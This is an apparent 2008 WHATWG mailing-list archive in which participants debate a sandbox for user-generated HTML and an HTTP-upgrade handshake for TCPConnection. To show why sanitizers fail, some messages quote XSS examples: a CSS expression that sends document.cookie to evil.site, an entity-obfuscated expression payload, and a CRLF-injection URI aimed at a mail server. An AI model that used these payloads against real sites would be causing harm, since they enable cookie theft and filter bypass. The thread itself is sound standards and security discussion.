> 1.  Please elaborate how an extension of CSS would require a sanitizer
> update.

In the year 1998: A sanitizer algorithm works perfectly for all
existing methods of adding scripts. It uses a white list, which allows
only certain tags and attributes. Among the allowed attributes is
colspan, rowspan and style - since the web developer wants users to be
able to build tables and style them properly.

In the year 1999 Internet Explorer 5.0 is introduced, and it
introduces a new invention; CSS-expressions. Suddenly the formerly
secure webapplication is no longer secure. A user adds the following
code, and it passes the sanitizer easily:

<span style='color: blue; width: expression(document.write("<img
src=http://evil.site/"+document.cookie));'></span>

I am absolutely certain that there will be other, brilliant inventions
in the future which will break sanitizers - ofcourse we can't know
which inventions today - but the sandboxing means that browser vendors
in the future can prevent the above scenario.





From frode at seria.no  Tue Jun 17 15:12:03 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Wed, 18 Jun 2008 00:12:03 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <48581A74.4030707@lachy.id.au>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>
	<31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>
	<op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>
	<31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>
	<48581A74.4030707@lachy.id.au>
Message-ID: <31fb000f0806171512tbf900d7mb9e1173823d057b1@mail.gmail.com>

>> I have been reading up on past discussions on sandboxing content, and
>> I feel that it is generally agreed on that there should be some
>> mechanism for marking content as "user generated". The discussion
>> mainly appears to be focused on implementation. Please read my
>> implementation notes at the end of this message on how we can include
>> this function safely for both HTML 4 and HTML 5 browsers, and still
>> allow HTML 4 browsers to function properly.
>>
>> My main arguments for having this feature (in one form or another) in
>> the browser is:
>>
>> - It is future proof. Changes to browsers (for example adding
>> expression support to css) will never again require old sanitizers to
>> be updated.
>
> If the sanitiser uses a whitelist based approach that forbids everything by
> default, and then only allows known elements and attributes; and in the case
> of the style attribute, known properties and values that are safe, then that
> would also be the case.

I have written a sanitizer for html and it is very difficult -
especially since browsers have undocumented bugs in their parsing.

Example: <div colspan=&amp;
style=font-family&#61;expression&#40;alert&#40&quot;hacked&quot&#41&#41
colspan=&amp;>Red</div>

The proof that sanitazing HTML is difficult is the fact that no major
site even attempts it. Even wikipedia use some obscure wiki-language,
instead of implementing a wysiwyg editor.

> Note that sandboxing doesn't entirely remove the need for sanitising user
> generated content on the server, it's just an extra line of defence in case
> something slips through.

Ofcourse. However, the sandbox feature in browser will be fail safe if
user generated content is escaped with &lt; and &gt; before being sent
to the browser - as long as the browser does not have bugs of course.

>> The suggested solution of using an attribute on an <iframe> element
>> for storing the user generated content has several problems;
>> 1: The use of src= as a fallback means that style information will be
>> lost and stylesheets must be loaded again.
> This is not a major problem.  If it uses the same stylesheet, which can be
> cached by the browser, then at worst it results in a 304 Not Modified
> response.

Many small rivers...

>> 2: The use of src= yields problems with iframe heights (since the
>> src-url must be hosted on another server javascript cannot fix this)
>> and HTML 4 browsers have no other method of adjusting the iframe
>> height according to the content.
> In recent browsers that support cross-document messaging (Opera 9, Safari 3,
> Firefox 3 and IE 8), you could include a script within the comment page that
> calculates its own height and sends a message to the parent page with the
> info.  In older browsers, just set the height to a reasonable minimum and
> let the user scroll.  Sure, it's not perfect, but it's called graceul
> degradation.

Much more difficult to implement than a <sandbox></sandbox> mechanism
- and I do not see the point giving more work to web developers when
it could be fixed so easily.

>> 3: If you have a page that lists 60 comments on a blog, then the user
>> agent would have to contact the server 60 times to fetch each comment.
>> This again means that perl/php scripts have to be invoked 60 times for
>> one page view - that is 61 separate database connections and session
>> initializations.
> You could always concatenate all of the comments into a single file,
> reducing it down to 1 request.

No you could not, if you for example want people to report comments or
give them votes - which in the Web 2.0 world requires scripting.

>> 4: For the fallback method of using src= for HTML 4 browsers to
>> actually work, the fallback documents must be hosted on a separate
>> domain name. This again means that a website using HTTPS must purchase
>> and maintain two certificates.
> I don't see that as a show stopper.

Well, I am not going to argue anymore. I have not heard anybody talk
in favour of a sandbox mechanism here or contributing something
constructive. Only feedback has been that you could do it with
iframes, and if it looks ugly with HTML 4 browsers, then that is only
graceful degradation, so it is okay. Maybe the future is Flash and
Silverlight afterall. We'll see.

>> If HTML 5 browsers require everything between <htmlarea></htmlarea> to
>> be html entity escaped, that is < and > must be replaced with &lt; and
>> &gt; respectively. If this is not done, HTML 5 browsers will issue a
>> severe warning and refuse to display the page. Developers will quickly
>> learn.
>
> Draconian error handling is something we really want to avoid, particularly
> when the such an error can be triggered by failing to handle user generated
> content properly.

I see that argument. Maybe you have a suggestion to what should happen
if unescaped HTML is encountered then?

>> HTML 4 browsers will never run scripts (since it will only see plain
>> text). HTML 5 browsers will display rich text. It would be completely
>> secure for both HTML 4 and HTML 5 browsers.
>>
>> A simple Javascript could clean up the HTML markup for HTML 4 browsers..
>
> In a separate mail, you wrote:
>> <data>
>> &lt;user supplied input&gt;
>> </data>
>>
>> Then this will be secure both for HTML 4 and HTML 5 browsers. HTML 4
>> browsers will display html, while HTML 5 browsers will display
>> correctly formatted code. A simple javascript like this (untested)
>> would make the data tags readable for HTML 4 browsers:
>>
>> var els = document.getElementsByTagName("DATA");
>> for(e in els) els[e].innerHTML =
>> els[e].innerHTML.replace(/<&#91;^>&#93;*>/g, "").replace(/\n/g,
>> "<br>");
>
> At first, I had no idea what that script was trying to do.  But AFAICT, you
> were trying to use this regex: /<[^>]*>/g, which would theoretically match
> "<foo>".  But, in this context, even with the corrected regex, the script is
> entirely useless.

Yes, but you are taking attention away from the point. No matter how
many bugs there are in my *untested* script, my method will be
completely safe in all browsers. Please comment on that instead.
Creating a working script would take me an hour max.

> It wouldn't work, for example, with <foo bar=">" baz="xxx">.  But also
> because the inner HTML that you're running the regex on is supposed to have
> all < and > escaped, and so nothing would be matched anyway.

This only means that if people insert invalid HTML then their message
will look ugly - it is not a security issue. If people insert actual
real life HTML then the script would generate nice looking plain text
without html markup (as long as the script is modified to use &lt; and
&gt; instead of < and > in the regexp).

>> A problem with this approach is that developers might forget to escape
>> tags, therefore I think browsers should display a security warning
>> message if the character < or > is encountered inside a <data> tag.
> If a developer forgot to escape the markup at all, then a user could enter
> "</data><script>...</script>" and do anything they wanted.

Yes, that is my point. That is why I want the sandbox to display a
severe security warning if the developer has forgotten to escape it.

This method will be safe for all browsers that has ever existed and
that will ever exist in the future. If new features are introduced in
some future version of CSS or HTML - the sandbox is still there and
the applications created today does not need to have their sanitizers
updated, ever.


From frode at seria.no  Tue Jun 17 15:58:30 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Wed, 18 Jun 2008 00:58:30 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <071EF4CA96AB4E578F49592DA30312DB@POCZTOWIEC>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>
	<31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>
	<op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>
	<31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>
	<C56783AC6D164ED38B40AB2992ABBB66@POCZTOWIEC>
	<31fb000f0806171133le949b04v8c7f55a7cc4623c6@mail.gmail.com>
	<071EF4CA96AB4E578F49592DA30312DB@POCZTOWIEC>
Message-ID: <31fb000f0806171558g3d1ce877sce91c0ab23b973e8@mail.gmail.com>

2008/6/17 Kristof Zelechovski <giecrilj at stegny.2a.pl>:
> This particular explanation is irrelevant to the topic because sandboxed
> fragments can contain scripts, whether within CSS or not.  The idea of
> sandboxing is to disable scripts, not to purge them.

You asked me to comment on your questions. It's obvious (when you read
the discussion) that the point of sandboxing is to disable scripts.
But to establish that we need sandbox, I wanted to show how difficult
it is to sanitize html - and also that it can't be done in a future
proof manner from the server side.

Fact:
Preventing users from inserting scripts, and at the same time allowing
user submitted html is extremely difficult to do on the server side -
ergo we must have sandboxing.

Method with iframe and content attribute:
1. Makes it very impractical to use sandboxing on short texts - such
as an article title.
2. Impossible to have user generated content inside a <select>.
3. Makes it impossible to attach custom javascript functionality on
words inside the text on the server side.
4. Graceful degradation requires two separate domain names. One for
user generated content, and another for the website itself.
5. Graceful degradation requires significant programming effort on the
server side. First of all, the user must be authenticated on both
domain names - and each page that should display user generated
content must have separate scripts to create the iframe content.

Method with <sandbox> tag, or sandbox='on' attribute:
1. Easy to use sandboxing on short texts. PHP example: <?php echo
"<sandbox>".htmlspecialchars($title)."</sandbox>"; ?>
2. Easy to sandbox a select box.
3. Easy to attach custom javascript functionality: PHP example: <?php
echo "<sandbox>".htmlspecialchars("User ")."</sandbox><span
onclick='something'>generated</span><sandbox>".htmlspecialchars("content");
?>
4. Graceful degradation is automatic. User inserted scripts and is
entity escaped, and will never execute in any browser.
5. See point 4.

Frode


From giecrilj at stegny.2a.pl  Tue Jun 17 17:13:40 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Wed, 18 Jun 2008 02:13:40 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <31fb000f0806171512tbf900d7mb9e1173823d057b1@mail.gmail.com>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com><31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com><op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com><31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com><48581A74.4030707@lachy.id.au>
	<31fb000f0806171512tbf900d7mb9e1173823d057b1@mail.gmail.com>
Message-ID: <C99A4E6CE1A5450EBE5A8EF2DA1DBF73@POCZTOWIEC>

The problem with tag warning is, if </data> is the first token inserted,
there will be no warning because the resulting code will be valid.  So the
key question remains: how do you tell unescaped </data> from the closing
</data>?  And the warning, if applicable, will go to the wrong person: to
all readers instead of just one writer.
What is invalid about <img alt=">" src="next.png">?
It is not enough to scratch some JavaScript that will look all right and
correctly sift out plain text for some test cases; you would have to prove
that it does the right thing in all cases.
Contrary to what you say, MediaWiki sanitizes HTML.  You can contribute to
Wikipedia without using their templates; the templates are there just to
make contributing easier.
It should be possible to keep all contributed content in one file with units
identified as document fragments.  You still have one request per one unit
but all of them request the same data file.

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Frode Borli
Sent: Wednesday, June 18, 2008 12:12 AM
To: Lachlan Hunt
Cc: whatwg at lists.whatwg.org
Subject: Re: [whatwg] Sandboxing to accommodate user generated content.

>> I have been reading up on past discussions on sandboxing content, and
>> I feel that it is generally agreed on that there should be some
>> mechanism for marking content as "user generated". The discussion
>> mainly appears to be focused on implementation. Please read my
>> implementation notes at the end of this message on how we can include
>> this function safely for both HTML 4 and HTML 5 browsers, and still
>> allow HTML 4 browsers to function properly.
>>
>> My main arguments for having this feature (in one form or another) in
>> the browser is:
>>
>> - It is future proof. Changes to browsers (for example adding
>> expression support to css) will never again require old sanitizers to
>> be updated.
>
> If the sanitiser uses a whitelist based approach that forbids everything
by
> default, and then only allows known elements and attributes; and in the
case
> of the style attribute, known properties and values that are safe, then
that
> would also be the case.

I have written a sanitizer for html and it is very difficult -
especially since browsers have undocumented bugs in their parsing.

Example: <div colspan=&amp;
style=font-family&#61;expression&#40;alert&#40&quot;hacked&quot&#41&#41
colspan=&amp;>Red</div>

The proof that sanitazing HTML is difficult is the fact that no major
site even attempts it. Even wikipedia use some obscure wiki-language,
instead of implementing a wysiwyg editor.

[snip]

>> 2: The use of src= yields problems with iframe heights (since the
>> src-url must be hosted on another server javascript cannot fix this)
>> and HTML 4 browsers have no other method of adjusting the iframe
>> height according to the content.
> In recent browsers that support cross-document messaging (Opera 9, Safari
3,
> Firefox 3 and IE 8), you could include a script within the comment page
that
> calculates its own height and sends a message to the parent page with the
> info.  In older browsers, just set the height to a reasonable minimum and
> let the user scroll.  Sure, it's not perfect, but it's called graceul
> degradation.

Much more difficult to implement than a <sandbox></sandbox> mechanism
- and I do not see the point giving more work to web developers when
it could be fixed so easily.

>> 3: If you have a page that lists 60 comments on a blog, then the user
>> agent would have to contact the server 60 times to fetch each comment.
>> This again means that perl/php scripts have to be invoked 60 times for
>> one page view - that is 61 separate database connections and session
>> initializations.
> You could always concatenate all of the comments into a single file,
> reducing it down to 1 request.

No you could not, if you for example want people to report comments or
give them votes - which in the Web 2.0 world requires scripting.

[snip]

>> If HTML 5 browsers require everything between <htmlarea></htmlarea> to
>> be html entity escaped, that is < and > must be replaced with &lt; and
>> &gt; respectively. If this is not done, HTML 5 browsers will issue a
>> severe warning and refuse to display the page. Developers will quickly
>> learn.
>
> Draconian error handling is something we really want to avoid,
particularly
> when the such an error can be triggered by failing to handle user
generated
> content properly.

I see that argument. Maybe you have a suggestion to what should happen
if unescaped HTML is encountered then?

>> HTML 4 browsers will never run scripts (since it will only see plain
>> text). HTML 5 browsers will display rich text. It would be completely
>> secure for both HTML 4 and HTML 5 browsers.
>>
>> A simple Javascript could clean up the HTML markup for HTML 4 browsers..
>
> In a separate mail, you wrote:
>> <data>
>> &lt;user supplied input&gt;
>> </data>
>>
>> Then this will be secure both for HTML 4 and HTML 5 browsers. HTML 4
>> browsers will display html, while HTML 5 browsers will display
>> correctly formatted code. A simple javascript like this (untested)
>> would make the data tags readable for HTML 4 browsers:
>>
>> var els = document.getElementsByTagName("DATA");
>> for(e in els) els[e].innerHTML =
>> els[e].innerHTML.replace(/<&#91;^>&#93;*>/g, "").replace(/\n/g,
>> "<br>");
>
> At first, I had no idea what that script was trying to do.  But AFAICT,
you
> were trying to use this regex: /<[^>]*>/g, which would theoretically match
> "<foo>".  But, in this context, even with the corrected regex, the script
is
> entirely useless.

Yes, but you are taking attention away from the point. No matter how
many bugs there are in my *untested* script, my method will be
completely safe in all browsers. Please comment on that instead.
Creating a working script would take me an hour max.

> It wouldn't work, for example, with <foo bar=">" baz="xxx">.  But also
> because the inner HTML that you're running the regex on is supposed to
have
> all < and > escaped, and so nothing would be matched anyway.

This only means that if people insert invalid HTML then their message
will look ugly - it is not a security issue. If people insert actual
real life HTML then the script would generate nice looking plain text
without html markup (as long as the script is modified to use &lt; and
&gt; instead of < and > in the regexp).

>> A problem with this approach is that developers might forget to escape
>> tags, therefore I think browsers should display a security warning
>> message if the character < or > is encountered inside a <data> tag.
> If a developer forgot to escape the markup at all, then a user could enter
> "</data><script>...</script>" and do anything they wanted.

Yes, that is my point. That is why I want the sandbox to display a
severe security warning if the developer has forgotten to escape it.

This method will be safe for all browsers that has ever existed and
that will ever exist in the future. If new features are introduced in
some future version of CSS or HTML - the sandbox is still there and
the applications created today does not need to have their sanitizers
updated, ever.



From giecrilj at stegny.2a.pl  Tue Jun 17 17:25:24 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Wed, 18 Jun 2008 02:25:24 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <31fb000f0806171558g3d1ce877sce91c0ab23b973e8@mail.gmail.com>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com><31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com><op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com><31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com><C56783AC6D164ED38B40AB2992ABBB66@POCZTOWIEC><31fb000f0806171133le949b04v8c7f55a7cc4623c6@mail.gmail.com><071EF4CA96AB4E578F49592DA30312DB@POCZTOWIEC>
	<31fb000f0806171558g3d1ce877sce91c0ab23b973e8@mail.gmail.com>
Message-ID: <5878E066906442129D6DB70B7A7D4048@POCZTOWIEC>

What is the use case for having user-submitted content inside a SELECT
element?  A SELECT element is for the user to choose, not to insert
arbitrary new values (especially because the correspondence between values
and labels is known only to the server).
The argument about scripts attached to words is interesting; what is the use
case?  How do you make these attachments remain active in the user agent?
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Frode Borli
Sent: Wednesday, June 18, 2008 12:59 AM
To: Kristof Zelechovski
Cc: whatwg at lists.whatwg.org
Subject: Re: [whatwg] Sandboxing to accommodate user generated content.

2008/6/17 Kristof Zelechovski <giecrilj at stegny.2a.pl>:
> This particular explanation is irrelevant to the topic because sandboxed
> fragments can contain scripts, whether within CSS or not.  The idea of
> sandboxing is to disable scripts, not to purge them.

You asked me to comment on your questions. It's obvious (when you read
the discussion) that the point of sandboxing is to disable scripts.
But to establish that we need sandbox, I wanted to show how difficult
it is to sanitize html - and also that it can't be done in a future
proof manner from the server side.

Fact:
Preventing users from inserting scripts, and at the same time allowing
user submitted html is extremely difficult to do on the server side -
ergo we must have sandboxing.

Method with iframe and content attribute:
1. Makes it very impractical to use sandboxing on short texts - such
as an article title.
2. Impossible to have user generated content inside a <select>.
3. Makes it impossible to attach custom javascript functionality on
words inside the text on the server side.
4. Graceful degradation requires two separate domain names. One for
user generated content, and another for the website itself.
5. Graceful degradation requires significant programming effort on the
server side. First of all, the user must be authenticated on both
domain names - and each page that should display user generated
content must have separate scripts to create the iframe content.

Method with <sandbox> tag, or sandbox='on' attribute:
1. Easy to use sandboxing on short texts. PHP example: <?php echo
"<sandbox>".htmlspecialchars($title)."</sandbox>"; ?>
2. Easy to sandbox a select box.
3. Easy to attach custom javascript functionality: PHP example: <?php
echo "<sandbox>".htmlspecialchars("User ")."</sandbox><span
onclick='something'>generated</span><sandbox>".htmlspecialchars("content");
?>
4. Graceful degradation is automatic. User inserted scripts and is
entity escaped, and will never execute in any browser.
5. See point 4.

Frode



From michael.carter at kaazing.com  Tue Jun 17 18:30:50 2008
From: michael.carter at kaazing.com (Michael Carter)
Date: Tue, 17 Jun 2008 18:30:50 -0700
Subject: [whatwg] TCPConnection feedback
Message-ID: <24f9a1ba0806171830x183f59aao4d29f3eceedcc6f8@mail.gmail.com>

Hello,

We've had a number of discussions in the #whatwg channel thus far about the
TCPConnection specification in section 6, and the consesus is that there is
utility in an asynchronous, bi-directional communication mechanism, but the
current proposal has a number of issues that need to be resolved.

There are a list of requirements for the protocol:

<Hixie> basically my main requirements are that:
HIXIE.1) there be the ability for one process to have a full-duplex
communication channel to the script running in the web page
HIXIE.2) the server-side be implementable in a fully conformant way in just
a few lines of perl without support libraries
HIXIE.3) that it be safe from abuse (e.g. can't connect to smtp servers)
HIXIE.4) that it work from within fascist firewalls


There are some issues with the specification as it stands:
-----------
<othermaciej> my two problems with it are: (1) it uses port/host addressing
instead of URI addressing, which is a poor fit for the Web model
<othermaciej> (2) it's bad to send non-http over the assigned ports for http
and https
<othermaciej> (3) I am worried that connection to arbitrary ports could lead
to security issues, although Hixie tried hard to avoid them
----------

The complete list from multiple discussions, I believe, is:
ISSUE.1) lack of URI addressing
ISSUE.2) sending non-http(s) over http(s) ports
ISSUE.3) inability to traverse forward proxies
ISSUE.4) lack of cross-domain access control
ISSUE.5) DNS rebinding security holes
ISSUE.6) lack of load balancing integration
ISSUE.7) lack of authentication integration
ISSUE.8) virtual hosting with secure communication (no Host header, and even
if there was, there's no way to indicate this header *before* the secure
handshake)

I propose that we
PROPOSAL.1) change the initial handshake of the protocol to be HTTP based to
leverage existing solutions to these problems.
PROPOSAL.2) modify the API to use URIs instead of port/host pairs

I believe that the HTTP/1.1 OPTIONS method, Upgrade header, and "101
Switching Protocols" response is the best avenue to take because these parts
of HTTP were specifically designed to: (1) See if the server can speak the
new protocol (2) switch the protocol mid-stream.

How the changes solve the problems
=================================
ISSUE.1) We added URI addressing
ISSUE.2) We now only send valid HTTP(s) over HTTP(s) ports.
ISSUE.3) We can send a CONNECT to the proxy, thus eliminating this problem.
ISSUE.4) We can use the Access-Control header to solve this problem.
ISSUE.5) The Host header solves this problem
ISSUE.6) Many load balancers use cookies or urls. Using HTTP allows both
cookies and urls, so we can integrate with existing HTTP load balancers.
ISSUE.7) Cookies allow standard authentication mechansisms to be applied to
the TCPConnection
ISSUE.8) We can follow RFC 2817 for TLS upgrading mid stream,


Examples
========

Normal Handshake
----------------
In javascript on a page served from the domain "example.com", the following
call is issued:

tcp  = new TCPConnection("http://example.com/some/url")

C:
OPTIONS /some/url HTTP/1.1\r\n
Host: example.com\r\n
Upgrade: TCPConnection/1.0\r\n
Connection: Upgrade\r\n
\r\n
S:
HTTP/1.1 101 Switching Protocols\r\n
Connection: Upgrade\r\n
Upgrade: TCPConnection/1.0\r\n
\r\n

C, S:

[ Bi-directional communication ]


Secure Handshake
----------------
In javascript on a page served from the domain "example.com", the following
call is issued:

tcp  = new TCPConnection("https://example.com/some/url")

C, S (port 443):
[ SSL handshake ]
C:
OPTIONS /some/url HTTP/1.1\r\n
Host: example.com\r\n
Upgrade: TCPConnection/1.0\r\n
Connection: Upgrade\r\n
\r\n
S:
HTTP/1.1 101 Switching Protocols\r\n
Connection: Upgrade\r\n
Upgrade: TCPConnection/1.0\r\n
\r\n
C, S:
[ Bi-directional communication ]


Cross-domain Access Controlled Handshake
----------------------------------------
In javascript on a page served from the domain "example.com", the following
call is issued:

tcp  = new TCPConnection("http://www.example.com/some/url")

C:
OPTIONS /some/url HTTP/1.1\r\n
Host: www.example.com\r\n
Upgrade: TCPConnection/1.0\r\n
Connection: Upgrade\r\n
\r\n
S:
HTTP/1.1 101 Switching Protocols\r\n
Connection: Upgrade\r\n
Upgrade: TCPConnection/1.0\r\n
Access-Control: allow <example.com>\r\n
\r\n

C, S:
[ Bi-directional communication ]


Handshake Through a Forward Proxy (with Proxy Authentication)
-------------------------------------------------------------
In javascript from a page served in the domain "example.com", and the
browser is behind a forward proxy, the following call is issued:

tcp  = new TCPConnection("http://example.com/some/url")

C:
CONNECT example.com:80 HTTP/1.1\r\n
Proxy-authorization: basic aGVsbG86d29ybGQ=\r\n
\r\n
OPTIONS /some/url HTTP/1.1\r\n
Host: example.com\r\n
Upgrade: TCPConnection/1.0\r\n
Connection: Upgrade\r\n
\r\n
S:
HTTP/1.1 101 Switching Protocols\r\n
Connection: Upgrade\r\n
Upgrade: TCPConnection/1.0\r\n
\r\n
C, S:
[ Bi-directional communication ]


TLS Upgrade
-----------

A potential server-side requirement of TCPConnection is virtual hosting
TCPConnection servers by domain while allowing secure communication. RFC
2817 specifies how to do TLS upgrades over HTTP so as to allow the initial
Host header to be read by the server before the secure channel is created.
We can use the same strategy with the TCPConnection protocol:

C:
OPTIONS /some/url HTTP/1.1\r\n
Host: example.com\r\n
Upgrade: TLS/1.0\r\n
Connection: Upgrade\r\n
\r\n
S:
HTTP/1.1 101 Switching Protocols\r\n
Connection: Upgrade\r\n
Upgrade: TLS/1.0, HTTP/1.1\r\n
\r\n
C:
OPTIONS /some/url HTTP/1.1\r\n
Host: example.com\r\n
Upgrade: TCPConnection/1.0\r\n
Connection: Upgrade\r\n
\r\n
S:
HTTP/1.1 101 Switching Protocols\r\n
Connection: Upgrade\r\n
Upgrade: TCPConnection/1.0\r\n
\r\n
C, S:
[ Secure Handshake ]
C, S:
[ Bi-directional communication ]


Conclusion
==========
This proposal fits within the original requirements.

HIXIE.1) We've provided full-duplex communication in the browser
HIXIE.2) Its a single line of perl code to parse the http headers, and
another to make sure the proper headers exist
HIXIE.3) No existing SMTP server (or any non-TCPConnection server) is going
to send back the appropriate handshake response.
HIXIE.4) TCPConnection will be able to navigate forward proxies and
firewalls due to our use of CONNECT.



-Michael Carter
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080617/86fc47d1/attachment.htm>

From shannon at arc.net.au  Tue Jun 17 21:10:39 2008
From: shannon at arc.net.au (Shannon)
Date: Wed, 18 Jun 2008 14:10:39 +1000
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
Message-ID: <48588ABF.1010006@arc.net.au>


>
> ISSUE.2) We now only send valid HTTP(s) over HTTP(s) ports.
>   

I understand the reasoning but I do not believe this should be limited 
to ports 80 and 443. By doing so we render the protocol difficult to use 
as many (if not most) custom services would need to run on another port 
to avoid conflict with the primary webserver. I understand the logic for 
large public sites where "fascist firewalls" might prohibit other ports 
but for custom services (ie, remote-control, telnet emulation or 
accounting access) used within a company network this would be a real 
pain (requiring setup of reverse proxy or dedicated server). This would 
make a mockery of the whole premise of implementing services using "a 
few lines of perl".

Limiting to ports 80 and 443 doesn't really solve the security issues 
anyway. Many firewall/routers can be configured on this port and 
denial-of-service is just as effective (or more) against port 80 as any 
other port. The new proposal to use HTTP headers effectively allows 
arbitrary (in length and content) strings to be sent to any port 80 
device without informing the user. This would allow a popular page (say 
a facebook profile or banner ad) to perform massive DOS against web 
servers using visitors browsers without any noticeable feedback (though 
I guess this is also true of current HTTPXMLRequestObjects).

I propose that there be requirements that limit the amount and type of 
data a client can send before receiving a valid server response. The 
requirements should limit:
* Length of initial client handshake
* Encoding of characters to those valid in URIs (ie, no arbitrary binary 
data)
* Number or retries per URI
* Number of simultaneous connections
* Total number of connection attempts per script domain  (to all URIs)

There should also be a recommendation that UAs display some form of 
status feedback to indicate a background connection is occurring.

> HIXIE.3) No existing SMTP server (or any non-TCPConnection server) is going
> to send back the appropriate handshake response.
>   

It is always possible that non-http services are running on port 80. One 
logical reason would be as a workaround for strict firewalls. So the 
main defense against abuse is not the port number but the handshake. The 
original TCP Connection spec required the client to send only "Hello\n" 
and the server to send only "Welcome\n". The new proposal complicates 
things since the server/proxy could send any valid HTTP headers and it 
would be up to the UA to determine their validity. Since the script 
author can also inject URIs into the handshake this becomes a potential 
flaw. Consider the code:

tcp = TCPConnection('http://mail.domain.ext/\\r\\nHELO HTTP/1.1 101 
Switching Protocols\\r\\n' )

client>>
OPTIONS \r\n
HELO HTTP/1.1 101 Switching Protocols\r\n
HTTP/1.1\r\n

server>>
250 mail.domain.ext Hello \r\n
HTTP/1.1 101 Switching Protocols\r\n
 [111.111.111.111], pleased to meet you

As far as a naive UA and mail server is concerned we have now issued a 
valid challenge and received a valid response (albeit with some 
unrecognised/malformed headers). The parsing rules will need to be very 
strict to prevent this kind of attack. Limiting to port 80 reduces the 
number of target servers but does not prevent the attack (or others like 
it).

It may be that simply stripping newlines and non-ascii from URIs is all 
that's required since most text-based protocols are line oriented 
anyway. It depends largely on how OPTIONS and CONNECT are interpreted.

One last thing. Does anybody know how async communication would affect 
common proxies (forward and reverse)? I imagine they can handle large 
amounts of POST data but how do they feel about a forcibly held-open 
by-directional communication that never calls POST or GET? How would 
caches respond without expires or max-age headers? Would this hog 
threads causing apache/squid to stop serving requests? Would this work 
through Tor?

Shannon


From ian at hixie.ch  Tue Jun 17 21:35:32 2008
From: ian at hixie.ch (Ian Hickson)
Date: Wed, 18 Jun 2008 04:35:32 +0000 (UTC)
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <48588ABF.1010006@arc.net.au>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
Message-ID: <Pine.LNX.4.62.0806180430460.13974@hixie.dreamhostps.com>

On Wed, 18 Jun 2008, Shannon wrote:
> 
> > ISSUE.2) We now only send valid HTTP(s) over HTTP(s) ports.
>
> I understand the reasoning but I do not believe this should be limited 
> to ports 80 and 443.

You misunderstand; it's not the ports that are limited, it's just that the 
traffic can now pass for HTTP. This would all still work over any 
arbitrary port.


> > HIXIE.3) No existing SMTP server (or any non-TCPConnection server) is 
> > going to send back the appropriate handshake response.
>
> It is always possible that non-http services are running on port 80. One
> logical reason would be as a workaround for strict firewalls. So the main
> defense against abuse is not the port number but the handshake.

Indeed, we would need to very carefully define exactly what the server 
must send back, much like in the original protocol -- it would just look a 
lot more like HTTP. This would include at least one custom header or value 
that you wouldn't see elsewhere (e.g. the Upgrade: header with the magic 
value).


> Since the script author can also inject URIs into the handshake this 
> becomes a potential flaw.

Indeed, we'd have to throw if the URI wasn't a valid URI (e.g. if it 
included newlines).


> One last thing. Does anybody know how async communication would affect 
> common proxies (forward and reverse)? I imagine they can handle large 
> amounts of POST data but how do they feel about a forcibly held-open 
> by-directional communication that never calls POST or GET?

That's basically what TLS is, right? The simple solution would be to just 
tunnel everything through TLS when you hit an uncooperative proxy.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From shannon at arc.net.au  Tue Jun 17 23:23:55 2008
From: shannon at arc.net.au (Shannon)
Date: Wed, 18 Jun 2008 16:23:55 +1000
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <Pine.LNX.4.62.0806180430460.13974@hixie.dreamhostps.com>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
	<Pine.LNX.4.62.0806180430460.13974@hixie.dreamhostps.com>
Message-ID: <4858A9FB.2070600@arc.net.au>

Ian Hickson wrote:
> On Wed, 18 Jun 2008, Shannon wrote:
>   
>>> ISSUE.2) We now only send valid HTTP(s) over HTTP(s) ports.
>>>       
>> I understand the reasoning but I do not believe this should be limited 
>> to ports 80 and 443.
>>     
>
> You misunderstand; it's not the ports that are limited, it's just that the 
> traffic can now pass for HTTP. This would all still work over any 
> arbitrary port.
>
>
>   
The current draft for TCPConnection is quite clear about this. The 
unclear part is what a "Security Exception" is (currently undefined).

------------ WHATWG HTML5 Draft -- 
http://www.whatwg.org/specs/web-apps/current-work/multipage/comms.html 
-- Section 6.3.4  ------
If either:

